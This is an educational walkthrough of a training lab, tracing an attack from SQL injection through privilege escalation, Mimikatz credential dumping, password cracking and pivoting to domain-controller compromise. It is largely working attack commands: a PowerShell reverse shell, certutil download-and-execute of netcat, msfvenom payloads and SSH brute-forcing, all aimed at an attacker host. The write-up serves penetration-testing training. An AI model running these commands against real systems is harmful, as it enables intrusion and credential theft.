MEDTECH // Active Directory attack lab: SQLi to domain admin
A guided walkthrough from a single SQL injection to full Active Directory domain compromise — built around one question you should keep asking at every step.
Host cards open one at a time — click a card's header, a network-map node, or a Next Target button to move through the lab in order.
Network & Tools
The scenario: Medtech has a public DMZ and an internal Active Directory domain behind it. Nothing here is arbitrary — every move follows from evidence gathered in the move before it.
Full port / role table (same data as the map above)
| IP | Hostname | Open Ports | Role |
|---|---|---|---|
| 192.168.247.120 | WEB01 | 22, 80 | Linux web server |
| 192.168.247.121 | WEB02 | 80,135,139,445,5985 | Windows web (IIS + MSSQL) |
| 192.168.247.122 | VPN | 22, 1194 | Linux jump/VPN box |
| 172.16.247.10 | DC01 | 53,88,135,139,445,5985 | Domain Controller |
| 172.16.247.11 | FILES02 | 135,445,5985 | File server |
| 172.16.247.12 | DEV04 | 139,445,3389,5985 | Dev workstation |
| 172.16.247.13 | PROD01 | 135,445,5985 | Production server |
| 172.16.247.14 | (unnamed) | 22 | Linux host |
| 172.16.247.82 | CLIENT01 | 135,445,3389 | Workstation |
| 172.16.247.83 | CLIENT02 | 135,445,5985 | Workstation |
Tool glossary — 12 tools, read once and refer back
Tool setup reference — where every binary in this lab actually comes from
| Tool | Already on Kali? | If not, get it from |
|---|---|---|
| rustscan, sqlmap, hydra, hashcat, xfreerdp, msfvenom | Yes | Preinstalled on Kali/Parrot. If missing: sudo apt install <name> |
| nc.exe (Windows netcat) | Usually | Kali ships one at /usr/share/windows-resources/binaries/nc.exe. If not present: GitHub int0x33/nc.exe or eternallybored/netcat-win32 releases. |
| Mimikatz | No | GitHub gentilkiwi/mimikatz → Releases → grab the latest zip, use mimikatz.exe (x64). |
| WinPEAS | No | GitHub carlospolop/PEASS-ng → Releases → winPEASx64.exe. |
| PrintSpoofer | No | GitHub itm4n/PrintSpoofer → Releases → PrintSpoofer64.exe. |
| JuicyPotato | No | GitHub ohpe/juicy-potato → Releases → JuicyPotato.exe. |
| Ligolo-ng | No | GitHub nicocha30/ligolo-ng → Releases → separate proxy (Kali/Linux) and agent (Windows/Linux) binaries per OS/architecture. |
| NetExec (nxc) | Maybe | pipx install netexec if the nxc command isn't found. |
| Evil-WinRM | Usually | gem install evil-winrm if missing. |
| psexec.py | Yes | Part of Impacket, preinstalled on Kali. If your system names it differently, try impacket-psexec instead of psexec.py. |
| BloodHound / bloodhound-python | Maybe | pip install bloodhound for the Python collector; the BloodHound GUI app itself is a separate download from SpecterOps/BloodHound on GitHub. |
| rockyou.txt wordlist | Yes, but zipped | Ships compressed at /usr/share/wordlists/rockyou.txt.gz on a fresh Kali install — extract it once with sudo gunzip /usr/share/wordlists/rockyou.txt.gz before your first hydra/hashcat run, or those commands will fail with "file not found." |
General pattern for anything not preinstalled: download the release binary to Kali, then use the same serve-and-fetch trick (python3 -m http.server + certutil -urlcache -f, or Evil-WinRM's upload) to get it onto the target — covered in full the first time it comes up, in the WEB02 section below.
Phase 1 — External Network
Start broad. Every engagement begins the same way: you don't know anything yet, so you scan everything reachable.
rustscan -a 192.168.247.120,192.168.247.121,192.168.247.122 -- -sV -sC
rustscan is a fast wrapper that hands off to nmap for detailed service detection — -sV grabs version info, -sC runs default scripts.
Results:
- .120 — SSH (22), HTTP (80)
- .121 — HTTP (80), SMB (135/139/445), WinRM (5985)
- .122 — SSH (22) only
Ports 135, 139, and 445 are Windows' own networking/file-sharing plumbing (RPC and SMB), and 5985 is WinRM (remote PowerShell management). All four are standard, built-in Windows services — they run stock Microsoft code, and critically, almost all of them expect you to already have valid domain credentials before they'll let you do anything interesting. You don't have any credentials yet at this point, so those ports are dead ends for now (you'll come back to WinRM later, once you've stolen a password).
Port 80, on the other hand, is running a custom web application — code this specific company's developers wrote. Custom code is exactly where custom mistakes live. Standard services are usually only attackable once you have creds or a known unpatched CVE, whereas a bespoke web app is worth probing first because it's unique, unaudited, and reachable with zero prior access.
Recon isn't just "list open ports" — it's "which open ports give me the most to try?" .120 and .122 each expose a single service (SSH). .121 exposes a website AND SMB AND WinRM — more services means more surface area, and a website in particular means there's a login form, input fields, and application logic to test. Attack the richest, most interactive surface first.
WEB02 — Foothold & Local Admin
Step 1 — Find the SQL injection
Browse to the site on port 80. There's a login page with a username field and a password field.
Login forms are one of the highest-value targets on any website because they're one of the few places an anonymous visitor is allowed to send data straight into a database query. A successful bypass doesn't just leak data — it can hand you an authenticated session outright.
Finding the actual field name. Right-click the username box → "Inspect" (or view page source) and look for its HTML <input> tag:
<input type="text" name="ctl00$ContentPlaceHolder1$UsernameTextBox" ... />
That name="..." value is what you'll hand to sqlmap later with -p. The long ctl00$... naming is typical of ASP.NET WebForms — an early hint this backend is Microsoft/IIS, and therefore possibly MSSQL.
Manual test: type a single quote (') into the username field and submit. A database error, or a very different response than a normal "wrong password," is the classic tell.
A web app builds a database query by gluing your input directly into a string of SQL code. If the developer doesn't sanitize that input, a character like ' can "break out" of the intended string and let you inject your own SQL logic — turning a login box into a way to talk directly to the database.
Step 2 — Confirm & automate with sqlmap (optional, good practice)
You've proven the injection exists, but not how deep it goes — which engine, which tables, whether it escalates to command execution. sqlmap answers those systematically and leaves a repeatable record of what worked.
sqlmap needs the complete raw HTTP request — every header, cookie, and form field exactly as the browser sent it — because the injection point is inside a POST body a plain URL can't represent. Capture it with Burp Suite:
- Open Burp Suite → Proxy tab → turn Intercept on.
- In Burp's browser (or your browser configured to proxy through
127.0.0.1:8080), submit the login form. - Burp pauses the request and shows the raw HTTP text — headers, cookies, and the POST body containing your field.
- Right-click → Save item → save as
req_121.txt. Turn Intercept back off.
That file lets sqlmap replay your exact login attempt while swapping in injection payloads.
sqlmap -r req_121.txt --level 5 --risk 3 --batch --dbs \ -p ctl00%24ContentPlaceHolder1%24UsernameTextBox
-r req_121.txt— read the raw request saved from Burp--level 5 --risk 3— try harder / riskier injection techniques-p <param>— target the field from Step 1 ($becomes%24, URL-encoded)--dbs— list databases once injection is confirmed
This confirms the backend is MSSQL.
Before reaching for xp_cmdshell, it's common to first try something quieter: MSSQL's xp_dirtree procedure can be pointed at a UNC path (a Windows network share address), which makes the SQL Server itself try to authenticate to that share — sending its credentials (as an NTLM hash) over the network to whatever's listening there.
Start Responder on Kali to catch that authentication attempt:
sudo responder -I tun0
Then inject a UNC path pointing back at your own IP:
123';exec master..xp_dirtree '\\192.168.45.155\test';--
Responder logs an NTLM hash for the MSSQL service account. From here you'd try cracking it offline with hashcat — but this hash doesn't always crack (strong service-account passwords are common), and when it doesn't, that's fine: it just means this path is a dead end for now, and you fall back to enabling xp_cmdshell below for direct code execution instead. Worth trying first regardless, since it's non-destructive and sometimes hands you a plaintext password for free.
Step 3 — Turn the injection into code execution
MSSQL ships a stored procedure, xp_cmdshell, that runs OS commands directly. Reaching it turns a data-layer bug into full command execution — always the next question after confirming SQLi against MSSQL.
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--
xp_cmdshell is disabled by default precisely because it's this dangerous — but sp_configure is a normal admin command, so if your injected user has rights, you turn it back on yourself.
Step 4 — Get a shell
xp_cmdshell lets you run a single command at a time — clunky. A reverse shell makes the target connect back to you, giving a live prompt, and routes around inbound firewall rules since outbound connections are almost always allowed.
IPs such as 192.168.45.187 refer to the Kali attack box's own VPN address — not a fixed value to copy verbatim. Find yours first:
ip a show tun0
Look for the inet line under tun0. Substitute it into every LHOST, listener, and URL below. Mismatched IPs are the most common reason a shell "silently fails."
Option A — PowerShell one-liner, injected via SQLi. Start a listener on Kali first:
rlwrap -cAr nc -lvnp 4444
Then inject (using your own Kali IP):
powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('192.168.45.187', 4444);
$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);
function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};
$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';
while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {
$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);
$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}
WriteToStream ($Output)}$StreamWriter.Close()"Option B — download-and-execute netcat via xp_cmdshell.
Almost every "upload X to the target" moment in this lab uses the same two steps: (1) serve the file from Kali over HTTP, (2) have the target fetch it with a built-in tool.
python3 -m http.server 8000
certutil -urlcache -f http://<your-kali-ip>:8000/<filename> C:\windows\temp\<filename>
certutil is a legitimate, built-in Windows certificate tool repurposed to fetch a URL. Every later "upload" step reuses this exact pattern.
Where does the nc.exe you're serving actually come from? Kali usually ships a Windows netcat binary at /usr/share/windows-resources/binaries/nc.exe — check there first. If it's not present on your install, grab a compiled one from GitHub (int0x33/nc.exe is a common source). See the Tool Setup Reference table in §0 for this and every other non-preinstalled tool used later in the lab.
EXEC xp_cmdshell 'certutil -urlcache -f http://192.168.45.249:8000/nc.exe C:\windows\temp\nc.exe'; EXEC xp_cmdshell 'C:\windows\temp\nc.exe 192.168.45.249 9005 -e cmd.exe';--
Either way, you land a shell as the SQL service account — not an administrator yet.
A raw netcat shell dies the moment the connection drops — no Ctrl+C handling, no tab completion, easy to lose entirely if a command hangs. Before spending effort on privesc, it's worth upgrading to a more durable implant so a hiccup doesn't cost you the whole foothold. tsh is one lightweight option for this — a small agent binary that gives you a steadier, more resilient shell than raw netcat.
Transfer and run it the same way as everything else so far (serve it from Kali, fetch it with certutil):
certutil -urlcache -f http://192.168.45.223:8000/tsh.exe C:\windows\temp\tsh.exe C:\windows\temp\tsh.exe
This step is optional — everything from here on works fine directly from the raw netcat shell too. Treat it as a "nice to have" for a steadier session, not a requirement.
Local Privilege Escalation → SYSTEM
A service-account shell can't read other users' credentials from memory or be trusted by other machines. Almost everything valuable from here — dumping creds, pivoting — requires SYSTEM/Administrator on this box first.
whoami /priv
Look for SeImpersonatePrivilege — state Enabled.
That single command is enough here since you already know exactly what you're looking for. If you'd rather not rely on already knowing the answer, running WinPEAS instead checks for this alongside dozens of other possible misconfigurations at once — the same tool you'll lean on more heavily later, where the right privesc path isn't already this obvious.
Service accounts often hold SeImpersonatePrivilege so they can legitimately impersonate a connecting client. "Potato" exploits (RottenPotato → JuicyPotato → PrintSpoofer → newer variants) trick a SYSTEM-level service into authenticating to a small attacker-controlled listener, then steal and reuse that SYSTEM token. Rule of thumb: privilege Enabled ⇒ a Potato variant is almost always instant SYSTEM.
Where PrintSpoofer fits in: it isn't literally a "Potato" tool by name or code lineage — it's a separate project by a different author. It earns the same nickname informally because it goes after the exact same target (SeImpersonatePrivilege) to reach the exact same outcome (steal SYSTEM's token). The difference is only in how it tricks a SYSTEM process into connecting to you: classic Potato variants abuse a COM/DCOM + NTLM-relay trick, while PrintSpoofer instead abuses the Print Spooler service's named-pipe behavior (hence the name) to get SYSTEM to connect to a pipe you control. Same category of bug, different mechanical trick — which is also why if one fails, trying the other is worth it: they can succeed or fail independently depending on which specific service is present/patched on the box.
You just confirmed the exact precondition Potato-family exploits need. PrintSpoofer works on most modern, patched builds — try it first; JuicyPotato is the fallback for older systems.
It's a public tool: itm4n/PrintSpoofer on GitHub. You don't compile it yourself unless you want to — the repo's Releases page has ready-to-run compiled binaries.
- On Kali, grab the release binary onto your machine first (browser download, or
wgetthe raw release asset URL from the repo's Releases page). - Serve it and fetch it onto the target using the exact same file-transfer pattern from earlier in this walkthrough:
python3 -m http.server 8000
certutil -urlcache -f http://<your-kali-ip>:8000/PrintSpoofer64.exe C:\windows\temp\PrintSpoofer64.exe
JuicyPotato and most other privesc tools you'll use later (WinPEAS, Mimikatz) come from public GitHub repos the same way — download the release once, then reuse this same serve-and-fetch pattern every time.
Then run it from wherever you saved it on the target — the simplest version, run directly inside your existing netcat session:
PrintSpoofer64.exe -i -c cmd
Because you're already sitting inside a live, interactive netcat session, PrintSpoofer's -i flag pipes the new SYSTEM cmd.exe's input/output straight back through that same connection — you'll just see a SYSTEM prompt appear in the window you're already typing into. No new listener needed for this version.
A raw cmd.exe works, but it's limited — no file upload/download built in, no easy in-memory Mimikatz, and if the netcat connection drops you lose SYSTEM entirely and have to redo PrintSpoofer. A Meterpreter session instead gives you a proper post-exploitation toolkit (built-in hashdump, a Mimikatz extension, file transfer commands, session persistence) on top of the same SYSTEM access. Many walkthroughs of this exact lab use this route instead of the plain cmd shell — worth knowing both.
This is a separate generate → transfer → listen → execute loop, distinct from the shell you already have. You're not reusing the netcat connection this time — PrintSpoofer will launch a brand-new payload that opens its own connection back to a brand-new listener.
1. Generate a SYSTEM-bound Meterpreter payload on Kali (a different file from the nc.exe you used earlier):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.45.223 LPORT=4444 -f exe -o shell.exe
2. Set up the matching listener in msfconsole — this replaces your nc -lvnp listener for this step, since a Meterpreter payload needs Metasploit's handler on the other end, not plain netcat:
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.45.223 set LPORT 4444 run
3. Transfer both files to the target — you already have PrintSpoofer64.exe there from the step above; now also serve and fetch shell.exe using the exact same pattern (from your existing low-privileged netcat session, since you don't need SYSTEM yet to just download a file):
python3 -m http.server 8000
certutil -urlcache -f http://192.168.45.223:8000/shell.exe C:\windows\temp\shell.exe
4. Run PrintSpoofer, but point -c at the new payload instead of cmd:
PrintSpoofer64.exe -c "C:\windows\temp\shell.exe"
PrintSpoofer still does exactly the same trick as before (steal SYSTEM's token), but this time it uses that token to launch shell.exe instead of cmd.exe. Your Meterpreter payload runs as SYSTEM, dials back out to the msfconsole handler you set up in step 2, and you land a full Meterpreter session — check with getuid, which should report NT AUTHORITY\SYSTEM.
Either way you got there, read the flag:
type C:\Users\Administrator\Desktop\proof.txt
Post-Exploitation — Credential Harvest
SYSTEM on one isolated DMZ box doesn't get you into the internal domain by itself — but it lets you read every process's memory, including cached domain credentials. That's what actually unlocks the next network.
Windows caches credentials in the LSASS process's memory. Mimikatz reads LSASS and extracts plaintext passwords (if conditions allow), NTLM hashes, and Kerberos tickets. Needs SYSTEM/Admin — exactly what you have now.
If you took the Meterpreter route above instead of the plain cmd shell, you can skip transferring mimikatz.exe separately — Meterpreter has it built in via the kiwi extension:
load kiwi creds_all
Same underlying tool, same output — just no manual upload step. The rest of this section assumes the plain cmd-shell route, uploading Mimikatz yourself:
Transfer mimikatz.exe using the same file-transfer pattern (get the binary from GitHub's gentilkiwi/mimikatz Releases if you don't have it yet — see the Tool Setup Reference in §0), then run it interactively:
mimikatz.exe mimikatz # privilege::debug mimikatz # sekurlsa::logonPasswords
Result: joe : Flowers1 — your first domain credential.
mimikatz # lsadump::sam
Good post-exploitation is thorough by habit — check user lists, recent downloads, network connections — because looking costs little and the payoff can be decisive.
net user /domain
Users found: joe, leon, mario, offsec, peach, wario, yoshi. A test.zip in joe's Downloads held sa : WhileChirpTuesday218, and netstat -ano showed a connection toward 172.16.x.x — a hint this box bridges both networks.
It's direct evidence — not a guess — that this machine can already reach the internal network somehow. It marks this box (or others like it) as a candidate pivot point.
VPN Host — Foothold & Root
It's the other external box you haven't cracked, and its role name ("VPN") plus the netstat clue on WEB02 both suggest it may bridge external and internal networks. Port 1194 confirms it further — that's OpenVPN's default service port, so this box is quite literally running a VPN server. Worth remembering: it hints at exactly which sudo right will turn out to matter once you're in.
Step 1 — Brute-force SSH
On a fresh Kali install, rockyou.txt ships compressed and this command will fail with "no such file" until you extract it once: sudo gunzip /usr/share/wordlists/rockyou.txt.gz.
Both external Linux hosts have SSH open, and you already have one candidate username (offsec, seen earlier as a non-domain account). Rather than brute-forcing them one at a time, put both IPs in a target file and spray the same username/wordlist combination against both in a single run — it costs nothing extra and you find out about both hosts at once.
echo -e "192.168.247.120\n192.168.247.122" > ip.txt hydra -l offsec -P /usr/share/wordlists/rockyou.txt -M ip.txt ssh
-l offsec— a single known username-P <wordlist>— try every password in this file-M ip.txt— run the same attack against every IP listed in this file, instead of just one target
Only .122 cracks this way — offsec : password. .120 doesn't fall to this wordlist; its real credential turns out to be something else entirely, and you won't find it until much later (via loot on the Domain Controller). That's fine — not every host cracks on the first technique you throw at it, and a locked door now doesn't mean it stays locked forever.
ssh [email protected]
Before jumping straight to enumerating sudo rights, it's worth a quick look at what commands were run on this account before you ever logged in — other testers, admins, or setup scripts often leave a trail. It costs one command and sometimes hands you the exact exploit syntax instead of making you look it up:
history cat ~/.bash_history
Step 2 — Privilege escalation via sudo misconfiguration
sudo -l costs nothing and instantly shows what this account can run as another user. Misconfigured sudo rights are one of the most common Linux privesc paths — rule this out first.
sudo -l
Shows openvpn allowed with no password. OpenVPN can run arbitrary shell scripts via --up:
sudo openvpn --dev null --script-security 2 --up '/bin/sh -c sh'
GTFOBins is a curated list of standard Unix binaries that can bypass restrictions when granted excess sudo/SUID rights. Whenever sudo -l shows an unusual binary, check GTFOBins for it.
Step 3 — Find the pivot material
You already suspect this host bridges networks. Root access means you can read every file, including credential material — SSH keys are exactly what's worth searching for, since they often work unchanged on other internal machines.
An SSH private key for mario was found. Save locally and fix permissions:
chmod 600 mario_id_rsa
Field Manual — Concept Deep-Dives
Read once before continuing into the internal network — everything below gets used heavily from here on.
Why we need to "pivot" at all
That internal subnet is a private domain network, deliberately unreachable from the internet or DMZ. The only way in is through a machine with one leg in each network — the VPN host, or WEB02 (per the netstat clue). Pivoting routes your Kali traffic through one of those so your existing tools can reach internal hosts directly.
Potato exploits, properly explained
Every Windows process runs under a security token describing who it is. Certain service accounts are granted SeImpersonatePrivilege so they can legitimately impersonate a connecting client. Potato-family exploits abuse this in four moves:
- Start a small local listener under the attacker's low-privileged account.
- Trick a SYSTEM-level service into connecting to it — historically via a fake WebDAV/NTLM relay, or a spoofed printer notification (hence "PrintSpoofer").
- Because the attacker's process holds
SeImpersonatePrivilege, and SYSTEM just "authenticated," the exploit impersonates SYSTEM's token. - Spawn a new process using that stolen token.
- RottenPotato — oldest, mostly patched
- JuicyPotato — older Windows 10/Server builds; needs a valid CLSID
- PrintSpoofer — abuses Print Spooler; works on many modern builds
- RoguePotato / GodPotato — newer variants for patched systems
Mimikatz, properly explained
| Command | What it does |
|---|---|
| privilege::debug | Grants Mimikatz the right to read other processes' memory. Always run first. |
| sekurlsa::logonPasswords | Dumps LSASS: usernames, domains, NTLM hashes, and — if conditions allow — plaintext passwords. |
| lsadump::sam | Dumps local account hashes from SAM (local accounts only). |
| lsadump::lsa /patch | Dumps hashes directly from the Domain Controller's database. |
| sekurlsa::tickets | Dumps Kerberos tickets — basis for Pass-the-Ticket. |
Plaintext passwords show up because some credential providers (like WDigest) keep a reversible copy in memory for compatibility. If you can't get plaintext, crack hashes offline with hashcat, or reuse the hash directly (Pass-the-Hash) — many tools accept a hash in place of a password.
Ligolo-ng, properly explained
A modern pivoting tool with two pieces: proxy (runs on Kali) and agent (a small binary dropped on the compromised host). Once the agent connects, Ligolo-ng creates a virtual interface on Kali and you add a route to it — from then on, Kali talks to the internal network directly.
Get both pieces from GitHub's nicocha30/ligolo-ng Releases page — download the proxy binary built for your Kali architecture, and the agent binary built for the target's OS (Windows in this lab). They're separate downloads, not one combined package.
sudo ip tuntap add user $(whoami) mode tun ligolo sudo ip link set ligolo up ./proxy -selfcert
agent.exe -connect 192.168.45.XXX:11601 -ignore-cert
session start
sudo ip route add 172.16.247.0/24 dev ligolo
Nothing in Phase 3 works without a route into 172.16.247.0/24 first. Get the tunnel up before trying anything internal, and re-check ip route if a tool suddenly can't reach a host it should.
The older alternative: frp + proxychains
Ligolo-ng is the modern choice, but you'll see plenty of walkthroughs of this exact lab pivot a different way, with frp (Fast Reverse Proxy) tunneling a SOCKS5 proxy back to Kali, and proxychains routing individual commands through it. Worth recognizing both, since older engagements and other people's writeups use this pair constantly.
On the compromised WEB02/VPN host, run the frp client:
frpc.exe -c frpc.ini
frpc.ini — points the client back at your Kali box and opens a SOCKS5 proxy on it:
[common] server_addr = 192.168.45.223 server_port = 7000 [socks5] type = tcp plugin = socks5 remote_port = 6000
On Kali, run the matching frp server:
frps -c frps.ini
[common] bind_port = 7000
Then point proxychains at the SOCKS5 port frp just opened, by adding a line to its config:
socks5 192.168.45.223 6000
From here, prefix any command with proxychains to route it through the tunnel — for example, scanning the internal range:
proxychains nmap 172.16.247.10-14 -sS -p 1-10000
Either works for this lab. Ligolo-ng is generally nicer day-to-day (one real network route, no proxychains prefix needed on every single command), but frp+proxychains is older, extremely widely documented, and worth being comfortable with since you'll run into it in other people's notes and older material constantly. Pick one, but recognize both.
BloodHound, properly explained (bonus — not strictly required here)
Once inside AD with any valid domain credential, the next question is always: what's the shortest path to Domain Admin? BloodHound collects users, groups, computers, sessions, and ACLs, and renders them as a graph you can query visually.
The Python collector used below installs with pip install bloodhound. The BloodHound GUI itself (which reads what the collector produces) is a separate download — GitHub's SpecterOps/BloodHound Releases — and needs a Neo4j database running locally to import into.
bloodhound-python -u joe -p 'Flowers1' -d medtech.local -ns 172.16.247.10 -c All
Mark held credentials as "owned," then run "Find Shortest Paths to Domain Admins" — BloodHound highlights the exact chain to follow.
This lab's path happens to be mostly linear via manual credential reuse — that's a property of this lab, not of real networks. In a bigger environment, BloodHound is usually the first thing run after any domain credential, turning "guess and check across dozens of hosts" into "follow the highlighted path."
Phase 3 — Internal Network
You should now have a Ligolo-ng tunnel into 172.16.247.0/24, plus: domain users joe, leon, mario, offsec, peach, wario, yoshi; joe:Flowers1; offsec:password; sa:WhileChirpTuesday218; and mario's SSH key.
Unnamed Linux Host
It's the only internal host with SSH open, and you're holding an SSH private key. When loot only fits one lock, try that lock first — fastest possible win, even if (as here) it's a dead end.
ssh -i mario_id_rsa [email protected]
This host doesn't lead to root in this lab — a dead end, and that's fine. Part of the skill is recognizing a dead end and moving on.
Next TargetFILES02 (.11) — Shell as joe→FILES02 — Shell as joe
joe/Flowers1 is domain-wide, and WinRM is open on several internal hosts — check which ones actually accept it rather than guessing one at a time.
Step 1 — Confirm credentials before committing to a full session
nxc winrm 172.16.247.11 -u joe -p Flowers1
A green [+] means the login is valid. nxc exists so you don't manually attempt a full login against every host — test cheaply first.
Step 2 — Get an interactive shell
evil-winrm -i 172.16.247.11 -u joe -p Flowers1
net localgroup Administrators shows joe is already a local admin here — no further escalation needed.
Step 3 — Harvest more credentials
Being admin on one machine is a stepping stone, not the goal. Any file that looks like it stores credentials is worth reading, because the next hop almost always comes from exactly this.
type C:\Users\joe\Documents\fileMonitorBackup.log
goomba : 8e9e1516818ce4e54247e71e71b5f436 toad : 5be63a865b65349851c1f11a067a3068 daisy : abf36048c1cf88f5603381c5128feb8e wario : fdf36048c1cf88f5630381c5e38feb8e
Step 4 — Crack the hashes offline with hashcat
A hash can sometimes be used directly (Pass-the-Hash), but a plaintext password is more broadly useful — it might work elsewhere too, as a habit of the same human. Cracking costs nothing but time.
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
Only wario's cracks: wario : Mushroom!. The others simply aren't in the wordlist — realistic; not every hash cracks.
CLIENT02 — Shell as wario
You just minted a fresh credential (wario/Mushroom!) and haven't used it anywhere. The natural move is to test it against unchecked hosts — CLIENT02 has WinRM open.
nxc winrm 172.16.247.83 -u wario -p 'Mushroom!' evil-winrm -i 172.16.247.83 -u wario -p 'Mushroom!'
wario is not a local admin here — escalation needed.
Privilege escalation: writable service binary
Dozens of possible misconfigurations exist — checking each by hand is slow. WinPEAS automates the checklist so you spend time acting on findings, not hunting for them.
Get winPEASx64.exe from GitHub's carlospolop/PEASS-ng Releases if you don't already have it (see the Tool Setup Reference in §0). Evil-WinRM ships a built-in upload command — easier than the certutil trick:
upload /path/on/kali/winPEASx64.exe C:\Users\wario\winPEASx64.exe
.\winPEASx64.exe
Flags auditTracker.exe — the executable behind a running service — as writable by "Everyone."
If you can write to a service's executable and start/restart that service, you substitute your own program. Windows runs whatever's at that path — including your payload — often as SYSTEM.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.223 LPORT=4444 -f exe -o auditTracker.exe
certutil -urlcache -f http://192.168.45.223:9999/auditTracker.exe auditTracker.exe
nc -lvnp 4444 sc.exe start auditTracker
CLIENT01 — Shell as yoshi
Found on CLIENT01's own SMB shares: yoshi : Mushroom!, reusing wario's cracked password. Password reuse across accounts is extremely common — always test a reused password against every known username.
nxc smb 172.16.247.82 -u yoshi -p 'Mushroom!'
Evil-WinRM needs WinRM (5985); psexec.py rides over SMB (445). Match the tool to the open port — the earlier nxc check already told you which protocol this host accepts.
psexec.py yoshi:'Mushroom!'@172.16.247.82
psexec.py (Impacket) uploads a small service executable to ADMIN$ over SMB, registers it as a temporary service, and runs it — popping a SYSTEM shell if your account is a local admin. Evil-WinRM instead uses WinRM/PowerShell Remoting. Same goal, different transport.
DEV04 — yoshi → Administrator
No reason to think yoshi's password is limited to one host — same spraying logic. This time RDP is open instead of SMB/WinRM, so the login method changes, but the reuse logic doesn't.
nxc rdp 172.16.247.12 -u yoshi -p 'Mushroom!'
Connect with an RDP client. xfreerdp is used throughout this walkthrough and works reliably against this target. If you instead reach for rdesktop (another common RDP client) and it refuses to connect or throws a protocol/negotiation error, that's a known compatibility gap — rdesktop's RDP implementation is older and doesn't always handle modern Windows Server security layers cleanly. Don't spend time debugging it: switch to xfreerdp or the GUI client Remmina (already installed on Kali) and move on.
xfreerdp /u:yoshi /p:'Mushroom!' /v:172.16.247.12
Privilege escalation: scheduled task hijack
WinPEAS doesn't repeat the same finding on every box — different machines misconfigure differently. Here it's a writable file tied to a Scheduled Task, not a Service. Same underlying vulnerability shape, different trigger — recognizing that shape is the transferable skill.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.223 LPORT=4444 -f exe -o backup.exe
Connected over RDP here, so neither certutil nor Evil-WinRM's upload applies directly — use drive redirection instead:
xfreerdp /u:yoshi /p:'Mushroom!' /v:172.16.247.12 /drive:kali,/path/on/kali/containing/backup.exe
Mounts your Kali folder as a drive inside the RDP session (typically \\tsclient\kali) — copy backup.exe to C:\TEMP\backup.exe, overwriting the original.
nc -lvnp 4444
More credential harvesting
Fresh Administrator on a new host is a fresh opportunity to read LSASS. Harvest on every privileged foothold, not just once — different users log into different machines.
mimikatz.exe privilege::debug sekurlsa::logonPasswords
Recovers: leon : rabbit:)
PROD01 — leon → SYSTEM
Same logic as every reuse step: a fresh credential is only useful once tested broadly. PROD01 is one of the remaining unchecked hosts.
nxc smb 172.16.247.13 -u leon -p 'rabbit:)' psexec.py leon:'rabbit:)'@172.16.247.13
Run Mimikatz again to dump the local Administrator hash for completeness.
Next TargetDC01 (.10) — Domain Controller→DC01 — Domain Controller
The Domain Controller holds the master database of every account in the domain, including password hashes for all users. Admin-equivalent access here means you can, in principle, extract every domain credential — the textbook definition of "full domain compromise."
nxc smb 172.16.247.10 -u leon -p 'rabbit:)' psexec.py leon:'rabbit:)'@172.16.247.10
A credentials.txt next to it contains: offsec : century62hisan51 — creds for the original external WEB01 host.
Real organizations reuse accounts and store notes carelessly across trust boundaries. "External" and "internal" access aren't a one-way door — information gained deep inside a network can loop back to finish off a target you set aside earlier.
WEB01 — Closing the Loop
You skipped it in Phase 1 — no obvious attack surface, just SSH. That was never a dead end, only a locked door waiting for the right key. The credential from DC01 is that key.
ssh [email protected]
sudo -l sudo su
Debrief
Go through this checklist — if you can explain each item in one sentence, without notes, the lab did its job.
- ✓SQL injection → xp_cmdshell — how untrusted input becomes a database command, and how xp_cmdshell turns that into an OS command.
- ✓Reverse shells — why the attacker listens and the victim connects out, bypassing inbound firewall rules.
- ✓Potato exploits — abusing SeImpersonatePrivilege by tricking SYSTEM into authenticating to a local listener, then stealing that token.
- ✓Mimikatz — reads LSASS memory for cached credentials; privilege::debug first, then sekurlsa::logonPasswords or lsadump::sam.
- ✓Password cracking vs. reuse — hashcat for offline cracking; a working password is always worth trying against other accounts too.
- ✓nxc (NetExec) — quickly validates a credential across SMB/WinRM/RDP before committing to a full session.
- ✓Evil-WinRM vs. psexec.py — both give remote execution with valid creds, over different protocols (WinRM/5985 vs SMB/445).
- ✓WinPEAS — automates the manual checklist of common Windows misconfigurations.
- ✓Writable service binaries / scheduled tasks — write access to something a privileged process executes equals a substitution attack.
- ✓Ligolo-ng — routes your machine's traffic into a network you've only got one foothold in.
- ✓BloodHound — maps every AD relationship and highlights the shortest path to Domain Admin.
- ✓The overall AD attack loop — foothold → local privesc → credential harvest → pivot/reuse → repeat, until you reach the Domain Controller. Every transition here was driven by a clue, never a guess.